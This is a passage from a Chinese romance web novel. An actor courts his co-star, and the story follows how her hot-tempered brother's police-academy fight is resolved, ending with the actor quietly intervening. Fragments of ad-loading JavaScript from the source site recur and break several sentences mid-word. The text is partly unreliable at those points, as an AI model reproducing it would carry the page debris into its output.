算了,木已成舟。他爱怎么作就随他好了。她又不是上嘉股东,有什么好纠结的。看这乔时青本人倒是莫名其妙挺上心的,下午三点的剧本围读会,他上午就去了。 工作人员见到他很意外:“乔老师,下午才开会呀。” 乔时青:“我知道。我只是提前来读剧本。” 工作人员有点惶恐,引他进会议室,又是端茶又是送点心:“乔老师,你看你还需要什么?我们一会儿就去联系导演。” “不用联系。你们也不用管我了。回去工作吧。”乔时青说。 沈碧华站他旁边小声说:“你到的这么早,净给人家添麻烦。” 工作人员还是不放心,一步三回头:“要不我去问问看咱们剧本会是不是提前开?” “不用。”乔时青说,“我等等就行。” “但剧本会还有三个多小时哎?” “我知道。我很闲。你回去工作吧。”乔时青说。 “……” 打发走工作人员,沈碧华环视一周空荡荡的会议室:“你爱等就在这等着吧,我也不陪你了。一会儿让小减来找你。” 沈碧华一走,屋内就彻底安静下来。 乔时青翻开剧本,主演一行写着两个名字,他的名字在左边。 他用一种几乎是带着些审视的目光在看另一个名字,同时又在想象她将以怎样的面貌再次出现在自己面前。 差不多读了两遍剧本,导演就推门进来连声说自己来晚了。 “是我来早了。”乔时青弯身和导演握手。 “早该给我发个消息才对啊。” “没事,我刚好仔细读读剧本,毕竟是来开会的。” 稍微寒暄几句,他们各归各位,幕后人员架起相机,陆续有主创团队的成员走进来。原本鸦雀无声的会议室很快热络起来,不断有人来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和他打招呼。 不久,这部电影的女主角就在这种此起彼伏的话语间隙走进了会议室里。她没有化妆的面颊极为清丽,淡眉若秋水,黑发像墨水流淌过薄肩,连衣裙则是浅蓝色的。 乔时青几乎是在她推门而入的那个刹那就看见了她。从去年开始,他就没办法不注意到她。她却完全没注意到他。她忙着和别人问好,嘴角弧度轻微扯开,眼底没有波澜。 “你好啊。女主角。”他还是开口说。 洛白的动作显然凝滞了一下。 四目相对,不过一秒她就移开了眼。 “对了,洛洛,这是和你演对手戏的乔时青。”导演串过来,满脸洋溢着希望二人好好相处的喜气,“认识一下。认识一下哈。” 顶着导演的殷殷热望,洛白礼节性地笑了一下:“乔……老师好。” 乔时青:“别这样。叫我名字就行。” 导演看着两人:“哎,你们加微信了吗?” “……” 见证男女主角当场互加微信以后,罗导很是满意。他环视了一圈,拍了几巴掌,引来众人的注意:“既然人都到的差不多了,我就说几句啊。” “《第三夜》是前几年热度很高的一本网络小说,外界的期望与关注度都不低。我们这回特别请到了原著作者三点水参与剧本改编,大家欢迎一下。” 洛白跟着大家鼓掌,乔时青慢她一拍鼓掌。 “大家好,我是三点水,很荣幸能参与电影制作。”编剧就着跟前的话筒说,“大家手上都有剧本了,我就简单介绍一下。电影改编自小说的第一大章,讲的是女主角意外穿越到异世界,借助男主的帮助,在第三天夜晚回到现实的故事。” 这是洛白第一次担任电影女主角,此前也没有相关题材的经验,尽管已经通览过好几次,她还是再次细细地翻起了剧本。 “其实我一签合同要拍电影时,第一个就想到了乔时青。”编剧说。 “本来我还以为请不来,没想到真来了。”罗导欣慰地拍拍男主角的肩膀,“真是够意思。” “罗导的电影,怎么也得来。”乔时青敷衍了一句,余光落向对面。 ……一眼都不看他。 又过了一会儿,罗导起身去和别的演员与工作人员接洽。 乔时青的目光不再避讳,径直看向洛白。 她双唇微动,大概是在默念台词。 她偏偏能心无旁骛地读剧本。 站在一旁的助理叶减发觉他的异样,小声道:“乔哥?” 乔时青做出了让他更摸不着头脑的举动。 “洛白。” ——他喊了对手女主角的名字。 以往的剧本围读,这位哥可从来没有主动招呼过什么人。 洛白的睫毛抖了一下,但总算抬眼看他:“怎么了?” 乔时青:“我们聊聊天吧。” 洛白:“……” 叶减:“?” 6. 姜誉飞 即便难以置信,助理还是赶紧替乔时青找补:“额有道理啊,光是看剧本,拍摄的时候不好进入状态,对吧洛洛?” 洛白认可这个道理,她轻轻点头:“好。” 没想到乔时青接着说:“那麻烦你起个话题吧,我这人比较社恐。” 她起话题——? 洛白一时语噎:“我不太会说话。” 乔时青:“试试。” 洛白陷入沉默。 她确实不太会找话题,说的话也经常冷场。 再说了,她又能和乔时青说什么? 忽然,洛白反应过来乔时青还在等她说话。也不知道时间过去了多久,周围还是嘈嘈杂杂的,但他们两个人形成的小磁场里似乎万物静止了。 乔时青说:“其实只要你愿意,说什么都可以。” 洛白愣了下,微微摇头:“不是这样的。” 他尝试用另一种方式和她对话:“你可以说一百句话,我保证我不会有一句不乐意听。” 他看着洛白撇过了头,以为她不会说话了,未曾想过了一会儿却听见她很轻又带着一点点赌气的声音:“一百句。” 心里的欢喜腾升上来。 于是他说:“嗯,一百句。” 一旁的叶减:“哦……?” - 剧本围读结束,早等在门口的四吉挤过人群迎了上来。 “洛洛,你有好几通未接来电,都是你弟弟学校打来的。” 洛白心里一沉,接过手机果然看见上面有好几通校主任的来电。 她快步离开,找了个僻静地方回拨了过去:“是于老师吗?” “是我。你是姜誉飞家长对吧?”于老师劈头盖脸一通话砸过来,“早就让他通知你来学校谈和,都几天了一点儿空也抽不出来吗?这可是攸关姜誉飞职业生涯的大事啊!” “发生什么事了,老师?”洛白顿了顿,“誉飞他……没和我说太清楚。” 于老师噎了一下,哎着声:“姜誉飞在学校打了人,现在对方开了轻伤证明……要是这事不能私了,姜誉飞以后就没法入警了!所以我让你赶快来学校一趟,看能不能和人家谈拢。” 洛白的脑子登时一声轰鸣,僵在原地:“老师,我马上来学校。但是我在外地,回新陵还需要一段时间,您看——” “那晚上吧。你和那孩子谈一谈,看他愿不愿意和你们私了。” “好。给您添麻烦了。”洛白没等他挂断电话又说,“那我弟弟他——他现在还好吗?” “好着呢。跟个没事人一样。那小皇帝不急倒是我这个太监急得热锅蚂蚁似的。” “谢谢老师。给您添麻烦了。” 于老师的语气缓和了一些:“听你的声音,该是个姐姐吧?誉飞是个好苗子,就是性子太冲。还是要好好管管。” 挂了电话,洛白本来想联系下姜誉飞,但这个点他应该拿不到手机,便只给他发了几条消息。 [麻烦给我买一张回新陵的票,越快越好。谢谢。] [收到] 简单确定了下行程,四吉边低着头走路边把班次信息发给洛白,差点撞上来人,他慌忙趔趄后退:“啊啊,对不起,乔哥。” “有事?”乔时青问。 四吉稳住身体,摆了摆手:“哦我没事。” 乔时青唇角下抿:“我没问你。” “啊,噢,你是说洛洛?”四吉挠了挠头,这私事他也不知道该不该说,“好像是她弟弟那有什么事儿,得回新陵一趟。” “弟弟。”乔时青头一次听说洛白还有一个弟弟,他直觉说,“他弟弟闯祸了?” “咦,你怎么知道?”四吉双眼瞪大,嘿然诧异,“她跟你说啦?她弟弟跟人打架的事?” 乔时青眉眼一扬,朝着四吉走近两步,他那带有压迫感的气场压得四吉控制不住地向后仰去。 四吉梗着脖子,不由咽了下口水,对着忽然放大在自己面前的俊朗面庞,有些磕巴:“怎、怎么了,哥。” “你是艺人的助理,以后不要随便把艺人的私事泄露出去。” “噢……”四吉赶紧点了点头,等他转身离开,小声嘟囔说,“要不是你诈我,我才不会说漏嘴呢。” - 晚。新陵警察学院。 “哎,人吴韬可说了,除非你下跪给他道歉,否则他——” “老子给他脸了还下跪。”姜誉飞捏住绿化带里的草,猛地拔了一撮丢在一边。 张合气跟着在他身边蹲下来,拍了他一下:“哎,你这要是真记了档案,到时候没法入警怎么办?” 在他们学校,吴韬算是无人不晓的风云人物。 他不光成绩绝佳,体能超强,还是个富二代——他老爸可是盛况酒店新陵分部的总经理,就连学校的老师也得给几分面子。 现在姜誉飞这个愣头青叫他当众出了丑,他当然不能就这么饶过他。 姜誉飞有点心烦意乱,眼皮耷拉着:“那就不入了。” “啧,干脆给他道个歉吧。他也就是放狠话,不会真让你跪。”张合气说。 “道你妈的歉。”姜誉飞嗤他一声说。 “你妈的姜誉飞,不领情就算了。”张合气推了他一把,“老子毕业以后第一个抓你。看你就是个到处犯事的。” 姜誉飞扯开嘴角,笑了一声。 “哎哎哎,”蒋语跑了过来,扶着膝盖,还没喘过气,“我看到吴韬被叫进会议室了。然后我还看到一个美女!” “什么美女?”张合气眼睛发亮,“搁哪儿?” “也进会议室了。我就看了个背影,绝了,超有气质。”蒋语说,“难道是吴韬的姐姐?哎,那你的家长是不是也会来啊,姜誉飞?咦——人呢——” 张合气翻了个白眼:“他一听见有美女就跑了。” - 会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 议室的门被轻巧推开,坐在旋转座椅上的吴韬专注地打着游戏,没有抬头,余光瞥见一个蓝衣身影,甩了一句:“喏,桌上就是医院的证明。说什么也没用,我不和解。” 来人先是翻开了文件,细细地看了一会儿,才说话:“对不起。我代誉飞向你道歉。” 女人说话轻慢,声音空灵而清甜,引得吴韬沉不住气抬眼去看。 “你——?!”吴韬倏地站起了身,以为自己是看错了,猛地蹭到洛白跟前,又退了一步,“你是——你是——” 洛白说:“我是姜誉飞的姐姐。” “不可能,你是明星,”吴韬一屁股在椅子上坐下来,又站起来,双手撑在桌上朝对面探着身,“你是洛白,对吧?” 洛白微一点头,又说:“关于誉飞动手打了你的事,我——” “所以你真是他的姐姐?”吴韬像是才回过神来,一边盯着洛白一边缓缓坐了下去,嘴角不自觉咧开,“原来你们是姐弟,难怪他……” “我们是姐弟。”洛白一心想把话题拉回正轨,便想再次和吴韬说起正事,“关于这件事,我真的非常抱歉。所有的损失赔偿我们都会承担的。” “承担?”吴韬向后一仰,仍是咧着嘴角有些恣肆地笑,指头叩得桌嗒嗒响,“钱,我可不缺。我缺的是面子,他当着那么多人打我,我还怎么在这待?” “那要怎么样,你才愿意和我们和解?” “本来我是不愿意和解的。”吴韬的单眼皮上挑起来,眼神扫过洛白的每一寸,“没想到还能在这碰见女明星啊——” 他直起身往桌前一靠,冲着洛白嬉笑:“你当我女朋友吧?让我也尝尝和女明星交往的滋味。” 洛白一怔,手指微有抽动,一时没有回话。 “砰!” 门忽地被推开了,姜誉飞进来得太急,一个趔趄差点撞到地上。 “你来做什么啊。”姜誉飞稳住身形,冲着洛白道。 “我给你发消息了。”洛白说。 姜誉飞的手机刚给老师缴了,自然看不到,他走上前抓住洛白的手腕拽她起来:“回去,跟这孙子没什么好说的。” 洛白哪里肯跟着他一起犯浑:“你和人家道个歉。” “哎,不用啊,”吴韬站起来,对着姜誉飞老大不爽的背影嘿然一笑,“我要真成了他的姐夫,还道什么歉啊。” “什么?”姜誉飞浓眉一拧,松开洛白的手,转过身去问他,“你说什么?” 吴韬不理他,向洛白说:“你不用有负担,我也不会曝光的。交往个一两星期就行,过个新鲜劲而已。” 洛白听了这话,下意识就看向身侧的姜誉飞。 后者黑着脸,拳头捏得咯咯发响,还没来得及等她开口就箭一般卷着风冲了过去,直接翻身过了桌冲着吴韬的胸口踢了一脚:“艹你妈的狗东西,老子教你怎么把嘴放干净!” “姜誉飞!”洛白急道。 7. 冲突 姜誉飞,人送外号“喷火霸王龙”,脾气又直又冲,从小就爱和人打架。 惹出了事,还莽着劲昂着头拒不道歉,摆一副“你爱怎样怎样,老子不在乎”的臭脸。 直到他的姐姐低声下气地去给对方赔礼道歉,他才会凶神恶煞地甩出一句“对不起”,不由分说地把洛白拽走,嘴里嘟囔着“对他妈的不起”。 这脾气就是到了今天也没有丝毫改变。 他的姐姐成了明星,一副直男斩的容貌很是招人。 “你真的见过洛白?” “本人好看不?” 那天是一阵猛然的惊呼声把正趴在桌上睡觉的姜誉飞彻底吵醒了。 他不爽地直起身来,睡眼惺忪地看着身边的女生,马上要脱口而出的脏话又硬生生给自己吞了下去。 “妈的,好看死了。”吴韬说,“我那天就该管她要个微信。” “人家可是女明星,怎么会和你联系。”蒋语说。 “女明星怎么不能泡了,特别是像她那样的,看起来娇娇柔柔的,说不定不知道和多少男的——”吴韬话音未落就被突然扑过来的姜誉飞打了一拳,又是恼怒又是莫名其妙,“你有病啊!你打我做什么?!” 姜誉飞说:“看你不爽,不行?” 大庭广众之下被打了一拳,吴韬哪里受得了这种屈辱,他怒目圆睁,扑身过去,就要和他扭打在一起。刚举起拳头的那一瞬间,吴韬顿住了。 在警校打架,无异于明知故犯。 只要他不动手,受处分的就只有姜誉飞一个人。 于是吴韬扯着脖子嚷了起来:“是这个疯子打了我!” 姜誉飞哪里管这么多,拽着他的衣领拉过来又打了一拳,威胁道:“有种你再吵。” 被动静引过来的老师骇然,冲过来直接给动手的姜誉飞一记重拳,力道之大震得大学生发了几秒的懵,老师这才得以将二人分开。 了解事情原委之后,老师把姜誉飞劈头盖脸的骂了一顿。要他立刻找家长过来处理这事,赶紧好好给人赔礼道歉。 “要是吴韬愿意私了,那通报批评就完事了。要是他家执意闹大,处分就不能避免了——你知道要是受了处分会有什么后果!” 记档案,政审不过,无法入警。 “你别想私了。除非你跪下来叫我爹。”吴韬捂着伤口笑嘻嘻地和他说。 当时姜誉飞啐了他一口:“跪你个叼。” 直到今晚他的态度和作风仍然是这样。 被他踢出快一米的吴韬挣扎着转身的工夫也没有,领子就被姜誉飞拽在手里,脸上又被打了一拳,鼻血瞬间迸了出来。 “姜誉飞,你快住手!” “你还敢打我?!真以为我不敢还手?” “打的就是你这个没种狗B。” 二人不由分说扭打在一起,洛白根本近不了身。 他们闹出的动静极大,不过几秒就引来了好几个老师。 几人合力才将怒睁双眼的姜誉飞从吴韬身上拉开,那时吴韬的眼睛都睁不开了。 两人均是鼻青脸肿,免不了又被于老师一顿痛骂。 “在会议室都敢打架!”于老师气势极凶,“还谈什么?!我看,都开除算了!” “老师,”吴韬喘过气来,“是这个疯子先打我的。” “什么?”于老师环视一圈,看见洛白,“姜誉飞姐姐,是这样么?你看见了吧?” 洛白看向姜誉飞,后者撇过头咬着后槽牙一声不吭,她忙说:“实在对不起,老师,他就是……一时心急……” “一时心急把人揍成这样?!”于老师提溜起吴韬的衣领,上下指着他,“你看把人都弄成什么样了?我今天是请你来谈和的,不是来把事情越搞越乱的!” “人是我打的。”姜誉飞横了他们一眼,梗着脖子,“找她来有什么用。” “大难临头了你还这个态度!”于老师也揪起姜誉飞的衣领把他往门口用力一推,“你给我回家去反省!停课两周!” “至于你。”于老师斜睨一眼胜券在握似的吴韬,“你要告就告吧。我也不牵线你们谈什么了。” “不行。”洛白心下焦急,却又不知道能说些什么。 姜誉飞打架这件事,本就可大可小,主要是要看对方的意愿。 要是对方愿意私了,顶多也就是停课、通报批评之类的,但若是对方执意闹大,影响便不好,把伤人这事算了严重处分,记了档案,那姜誉飞从小到大的梦想便算是彻底破灭了。 于老师本来大可不用插手这事,但他赏识姜誉飞,才费力找了吴韬来,劝他们和解。 现在姜誉飞又打了人,看来就连于老师也恼了,不想再管。 “老师,真的不好意思,给您添麻烦了,但是——”洛白说着不由看向身后的姜誉飞,又回过头来,“誉飞他……” “哎,姜誉飞姐姐,”吴韬说,“我没说不愿意和解啊。我刚才的话,还作数。” “你他妈再敢说一句——”姜誉飞说着又要冲上来,所幸于老师及时拦住了他。 “你又想干嘛!你给我滚回家去!”于老师脸红脖子粗地吼了他两句,顺了气才对洛白说,“你今晚先把他带回去,双方都冷静一下。” 又免不了再给老师以及吴韬道歉一番,洛白才对着姜誉飞说:“走吧。” 姜誉飞瞪了吴韬一眼,把外套甩在肩上,耷着眉跟在洛白身后走了出去。 办公楼的走廊很长,廊灯的功率不稳,时亮时暗。 洛白的湖蓝色连衣裙在灯光之下有些泛紫,米色的一字带短跟鞋踩在瓷砖上发出有节奏的嗒嗒声,清脆得很,她的背影单薄而清冷,是姜誉飞看了好多年的。 以前姜誉飞在学校里和别人打了架,拎着书包走在洛白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后头,就会自以为是耀武扬威地和洛白说自己的战绩,那时洛白也不会指摘些什么,只是停下来,等着他慢悠悠地走到自己身边。 哪像今天一样,走得又快又急,像是一辈子都不会再停下来等他。 “喂,这里瓷砖不平的,你走那么快做什么。” 洛白恍若未闻,只是走自己的。姜誉飞加快了脚步追上去,拽住她:“你生什么气啊?” “放手。”她的声音好像蒙上了一层雾气。 姜誉飞看着这个比自己矮了一头的姐姐,乖乖松了手。 洛白直视着面前的台阶,一半被感应灯照着,一半幽暗难辨,浓密的睫毛微微颤动着,好一会儿都没有说话。 姜誉飞大咧咧往一边的扶手上一靠,背部立刻感到一阵剧痛,他忍着没喊,装作若无其事,冲她道:“你愣在这做什么?” 洛白自然是有话要说,可是她不知道到底应该怎么和姜誉飞交流。 她也不知道自己究竟能说什么。 她从来没有说教过姜誉飞什么,或许是她一味的纵容,才会让姜誉飞这样冲动。 事到如今的局面,她也难辞其咎。 姜誉飞移过眼,看着洛白的侧颜,没有说话,像是在等她。 “你知道自己都做了什么吗?”洛白的质问并不是锋利的,而是柔柔的,溪水一样流过来,看起来很清澈,碰到了才发现是冷的。 姜誉飞摸了下鼻子:“我当然知道,我又不是小孩。” “你真的知道?要是他不愿意和解,你真的就没办法入警了——” “烦死了,大不了不入了呗,又不会死。” “姜誉飞,你能不能不要这样吊儿郎当的,不要这么幼稚?做事就不能考虑一下后果吗?” “我,”姜誉飞无语地笑了一声,他最讨厌洛白觉得他幼稚,“我幼稚?那还能怎么样,打都打了,难不成我真的给他下跪,还是你去跟他恋爱?” 洛白双眸幽幽下敛:“他说愿意和解的。” 姜誉飞心里一紧,不知道她在打什么念头,拔高了声音:“你别管这件事,他爱怎样怎样,我无所谓!” “回去吧。”洛白不置可否,又迈步朝下走。 “我都说了让你别管,别再让我看到你和那条狗联系。”姜誉飞快步到她面前,火急火燎要她给自己个准信。 “我怎么能不管。”洛白说。 “我让你管了么?你别管闲事,拍你的戏去不行么?” “我是你姐。” “你又不是我亲姐!” 话落,姜誉飞才觉失言,他忙向面前人看去。 那时他才发现她的姐姐,眼底已经泛红。 姜誉飞愣了。 “……对不起。”喷火霸王龙偃旗息鼓,低声下气道。 洛白只是吸了一口气,嗓子有些发粘,声音很轻:“走吧。” 8. 叶减 走进上嘉的大楼时,叶减被告知自己是乔时青的第七个助理。 团队的同事纷纷给他递去自求多福的神情,让叶减觉得自己是被村民献祭给魔王的代嫁新娘。 “这是前任留下的一些攻略,希望能帮到你。”同事阿萱拉开办公桌的抽屉,里面塞着本子和便签。 随手翻开一页,上头密密麻麻地记录着各类事项以及乔时青的习性。 “爱喝酒,特别是白兰地”“独来独往惯了,很难跟!”“有时候人还怪好”诸如此类的。 “一般乔哥的执行经纪都是戏抛的,也不知道你能坚持多久。”阿萱上下打量他,语气有些可惜,“我们很快又要说再见了。” “戏抛?” “一部戏换一个助理。”阿萱耸了下肩,“祝你好运。” 然而万万没有想到,硬着头皮研究攻略以后武装上阵的叶减在工作的第三天就发现了职业密码——他挖到了一个惊天大瓜! 绝对可以爆掉热搜,瘫痪掉全网的那种! 并且据他的观察,周围还没有一个人发现这瓜的端倪。他登时如同一只误入了瓜田的猹,上蹿下跳,激动难藏,双脚像踩上了缝纫机般狂野抖动。 “叶减。”坐在叶减对面翻剧本的乔时青抬眸觑他一眼,“抖什么。” “哦哦哦。不好意思哈,哥。”叶减立马端正坐姿。 不过正所谓一料在手,天下我有,叶减的小人之势已经很难控制,他略显鬼畜的笑声再次引起了乔时青的不爽。 乔时青倏地合上剧本:“医药费我出。你现在就去看病。” 叶减下意识地站起了身来就要服软,但他很快想到乔时青的把柄在自己手里。于是他露出了一个“知道你害羞”的了然表情:“哥!我都知道了。” “什么?”乔时青向后一靠,手肘懒散地搭在把手上,挑眼道。 “你是不是对洛白有意思?” “……” “嘿嘿。哥!我都看出来了!就剧本围读会上,你眼珠子都要粘人家身上了——据我的经验,你一定是暗恋她,对吧?”叶减的双手嘭得拍在桌上,凑向对面的乔时青,贼眉鼠脸地看着这位上嘉一哥,“哥,不瞒你说,我从小学二年级就开始谈恋爱了!对女人,我拿捏得死死的!怎么样,要不要我教你点法子?” 在叶减高谈阔论的十几秒里,乔时青的脑中闪过数个应对方案,比如说抵死不认,或者直接开除他然后抵死不认。 但听到最后的推销,不知道是不是出于病急乱投医的变态心理,乔时青嗤了一声,用力地翻开剧本,看也不看他:“说来听听。” 叶减满意地抱着臂,学着乔时青的清贵姿态仰着脖子坐下来:“哥,我觉得首先最重要的,你得收敛一下你的脾气。” 后者懒得再听,合上剧本就往外走。 叶减仍在继续输出:“你不知道吗,最近流行的都是什么温柔男二、粘人奶狗这种人设,你得放低姿态,才可以接近人家——” 乔时青顿住脚步,似笑非笑地看着他:“还有什么指教?” 叶减突然又有了献祭新娘见到魔王的感觉,讪笑道:“暂时、暂时就这些,哎——哎,哥你去哪儿啊?” “回家。” - 早上公司开大会,下午剧本围读,晚上又出了这么些事,洛白早就疲惫不堪。 她的神经像是被什么吊住,心绪不平,却仍然清醒得很。 她开了床头灯,翻出抽屉里的安眠药,正打算吃时忽然来了一条消息。 是今天刚躺进通讯录的号码。 洛白迟疑了会儿,还是按下接听键。 对面的声音仍然清冽,只是透过手机传出来质感更重了些:“你去哪儿了。快开机了,我找不到人对戏。” “我在新陵。”洛白的神经又紧绷起来,用双手拿着手机贴在耳侧,“处理一些事。” “我听你助理说,好像是你弟弟的事?” 这个四吉。 洛白嘴角抿着,索性应了一声,直说:“嗯。他在学校和人打架。” 乔时青想了下:“是打残了吗?” “……” 洛白好一会儿才说:“没有。” “那你弟弟下手挺有分寸。” 有分寸。 姜誉飞从小到大都没被人这么说过。 洛白更是从来没能把“分寸感”这个词和不知天高地厚的姜誉飞联系在一起,一时之间有些哭笑不得。 她在床边坐下来,一手撑在被子上:“他太冲动了,做事不考虑后果。” 乔时青放下手里的杯子,旁边摆着那瓶空了不少的卡慕白兰地:“年纪小是比较张扬。我以前也这样。对了,他在哪里读书?” “新陵警校。”洛白说。 “警校生。”乔时青说,“那他很优秀。” 听他这么说,洛白展露些许微笑:“还好。只是他脾气不太好。” 乔时青的口腔里是吞咽后的回甘,而他的周身萦绕着浓烈的葡萄香气,空气里都裹上了让人不清醒的甜雾。 他踌躇了一下,心悬了起来,声音却娓娓放缓: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “那你呢。” “……我?” “你的脾气是什么样的?” “我……”洛白哑然片刻,又说,“脾气也不好。” “我没觉得你脾气不好。” “是你不太熟悉我。” “因为你不让我熟悉。” “……” 乔时青握住瓶身的手端起白兰地又放下来,琥珀色的酒精随着他的动作在酒瓶里撞壁荡漾。他沉默良久,还是说:“我期待熟悉你。洛白。” 洛白的脑中怔咛,双唇微张却吐不出一个字来。 颁奖礼之后,乔时青就没再和她提起初次见面的事。他克制掉了所有的盘问,又或者他根本不在意那一个晚上。也许在他看来,她只是一个不请自来又不告而别还摆出一副若无其事模样的,玩伴。他打这通电话,大概也是心血来潮而已。 乔时青没听见她的声音,也看不见她的表情,最终只是说:“不管怎么说,谢谢你接我的电话。” “开机那天,你可不要迟到了。” 洛白低头应他:“嗯。” - 次日一早,洛白便醒了。 本打算趁着姜誉飞还在房间睡觉时去他学校一趟,和老师商量看看,有没有什么处理方法。 哪知她刚踏出房门,就见她那个周末可以一觉睡到下午的弟弟已经洗漱完毕端坐在桌前等她吃早饭了。 “喂。”姜誉飞快速地瞄了她一眼,又把目光转移回餐桌上,“洗脸刷牙,来吃早饭。” 他有些生硬地说完这话,余光瞥着洛白前往卫生间的身影,不由抹了下鼻子。 脑子里全是洛白昨天晚上红着眼的模样。 烦死他了。 他要是个哑巴就好了。草。 姜誉飞每次服软的姿态都是一样的,五分别扭三分懊悔还有两分乖巧,洛白一看他的表情就知道了,不过她从不会就这些事去调侃他。 正襟危坐的,倒挺会拿捏分寸的。 “那你弟弟下手挺有分寸。” 洛白没来由想到这句话,一时没忍住笑了一下。反应过来,她赶紧把打出来的洗面奶泡沫抹在脸上,俯下身洗脸去了。 等洛白在桌前坐下来,姜誉飞才动筷。 洛白喝了一调羹的粥:“吃完饭,我去趟学校再找一下于老师。” “行。”姜誉飞配合道。 “不然你也去吧,给那个同学道个歉——” “什么?”姜誉飞放下筷子,把嘴里的小笼包咽下去,脖子扬起来,“我给那孙子道歉?” 9. 和解 没说完就看见洛白神色不善的表情,他只好又拿起筷子,吧唧往嘴里又塞了一个小笼包,闷闷地说:“看情况。” 洛白皱起眉眼,颇为头疼。 “还能不能好好吃个早饭了。”姜誉飞朝她那边抬了下下巴,“你大半天就吃这么点?” 他在示意她那碗还满当的小米粥。 “我没什么胃口。你多吃些吧。” “哎——别放勺子啊。”姜誉飞说,“你别让我来硬灌啊。” 洛白拿他没办法,又勉为其难拿起勺子小口喝粥。 姜誉飞一袋子小笼包和一个茶叶蛋以及一杯豆浆下了肚,洛白才堪堪喝了半碗粥。他双肘抵在桌上,糟心地看着洛白,不由说:“你上辈子是撑死的吗?现在就吃这么点?” 洛白说:“你盛的这碗有我脸这么大了。” “艹,你那脸还没我巴掌大。” “少说脏话。” “哦。” 熬过了被姜誉飞盯着吃早饭这个惯例流程,洛白才下了桌,拿起手机时才发现有一条陌生短信。是五分钟前发来的。 [洛小姐,你好,我是吴韬的父亲吴詹,请问现在方便通话吗?] “男的女的?”姜誉飞看她盯着手机,丢来一句。 洛白来不及回他,赶紧回拨了电话。 电话被秒接了起来。 洛白马上说:“不好意思,吴先生,我一时没看手机。” “这个,百忙之中打扰,真是不好意思了。”吴詹说,“不知道洛小姐今天有没有空?我和我太太想和洛小姐聊一聊犬子的事。” 洛白一愣,绕开凑上来听的姜誉飞:“有的。我会当面向您道歉的。” “哎,误会而已,洛小姐不必挂心。”吴詹干笑道,“那么中午十二点,在伊云坊。” “我也去!”姜誉飞立刻说。 洛白还没来得及让他闭嘴,吴詹听见了就说:“当然了,当然了,孩子愿意来也是好的。” 直到挂断了电话,洛白还是有些错愕:“他说……是误会?” “我打的拳拳到肉,怎么可能有假。”姜誉飞回。 “……” - “伊云坊?”得知目的地的四吉忍不住哗然,“那可是会员制的哎。那个同学的爸妈是什么来头哦!” 伊云坊是新陵市一家顶级中式私房菜,实行实名会员制,名流社交圈内的热门餐厅。普通的有钱人都得乖乖拿号排队,一般人更是连预约的机会也够不上。 吴詹邀请他们去那,想来是很重视这事了。 之前于老师就和洛白说了,吴詹夫妇得知吴韬受伤一事很是气愤,要求学校严肃处理肇事的姜誉飞,否则就会亲自来学校找领导理论。 洛白望着车窗外一一闪过的法国梧桐,没来由的心慌。 “不就是个菜馆么,搞这些噱头。”姜誉飞双手枕着脑袋,大咧咧道。 吴詹夫妇早就取了号定了位置,洛白和姜誉飞一踏入餐厅,报过名字就有侍者引着他们朝包厢走去。 典型的中式装修风格,园林庭院式设计,长廊迂回,极为雅致。 “是洛小姐吧?” 坐着的夫妇迎上来,很是客气。 洛白见他们语气和善,热忱洋溢,既有些莫名又受宠若惊般弯了弯身:“吴先生、吴太太,我是洛白,这位是我弟弟姜誉飞。” “啊,这位就是……”吴太太努着笑容看向姜誉飞,一时有些语塞,看得出来有些尴尬,她最后只说,“长得真是一表人才啊。” 姜誉飞收到了洛白的眼色,勉强挤了下嘴角:“叔叔好,阿姨好。” “好,都坐吧。”吴詹两鬓有些许斑白,人到中年有明显的发福迹象,一身西服在身。 也不知是不是提前做好了心理建设,吴詹像是不曾得知自己孩子被眼前人暴打的事一样,很是和蔼地端详着姜誉飞,活络气氛似的笑着:“年轻人真有朝气啊。气宇轩昂的,以后一定能闯出一番名堂来。” “是啊。”吴太太接过话头,转对面前的洛白说,“洛小姐,你更是天生丽质,明艳动人呀!果然不愧是女明星呢。我也见过不少明星,哪里像你这样有气质!” 姜誉飞这个人从来都是吃软不吃硬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。 但凡吴詹指责他几句或者给他一点脸色,他才不管人家是不是什么酒店分公司的老总,分分钟就会暴起。然而现在这对夫妇对他打人一事闭口不谈,还各种夸赞他和他姐,姜誉飞终于有些受不了了。 他咳了一声,说:“叔叔阿姨,谢了啊。” 洛白:“……” 好在侍应生陆续过来上菜,介绍菜品,打断了这诡异的群聊现场。 尽管吴詹夫妇一时没有提起那件事,不代表他们心里不在想,何况他们找洛白过来也是为了那事。洛白犹豫再三,还是放下筷子:“吴先生,吴太太,关于我弟弟和吴同学的事……” “这事情,洛小姐不用放在心上,我们都不计较啦。”吴太太笑眯眯地说。 吴詹点点头:“男孩子吗,血气方刚的,打打闹闹很正常,对吧,誉飞?” 忽然被亲昵对待的姜誉飞意外过度磕巴了一下,还是没有忌讳地说:“你们之前不是要求校方严肃处理我么?” “誉飞。”洛白压低声音叫了他一句。 吴詹夫妇哪里见过这样不识好歹还直抒胸臆的愣头青,面面相觑了一下,还是吴詹干笑了两声:“之前都是误会。乔少都亲自和我们联系了,说洛小姐你是他的朋友。” 盛况集团的太子爷方渊从小便唯乔家少爷是从,吴詹一个分部的总经理自然不敢给人家找不快。因而昨晚乔时青打来电话时,可把吴詹夫妇吓了一跳。 还以为是摊上了什么事。 听着对方强词夺理还轻描淡写地让自己别太计较时,吴詹虽赔着笑,但摸不着任何头绪,并且还有难言的委屈。 他儿子被打了,他替孩子出头,也叫“小气”吗? 他儿子被打成那个熊样,也叫“误会”吗! ——而且这和乔时青又有什么关系? “或许乔少……和我儿子那位同学认识?” “不认识。”对方很干脆。 “恩?”难道他是在路见不平一声吼吗? “他姐姐,”那边顿了一下,好像在思考如何措辞,“是我的朋友。挺不错的朋友。” 10. 宁岚 “谁?乔什么?”姜誉飞拧起眉,察觉到身边的洛白有明显的愕然。 吴太太堆着粉的面容仍是笑意满满:“誉飞啊,韬儿跟你算是不打不相识,以后大家都是朋友,相互照应着,啊。” 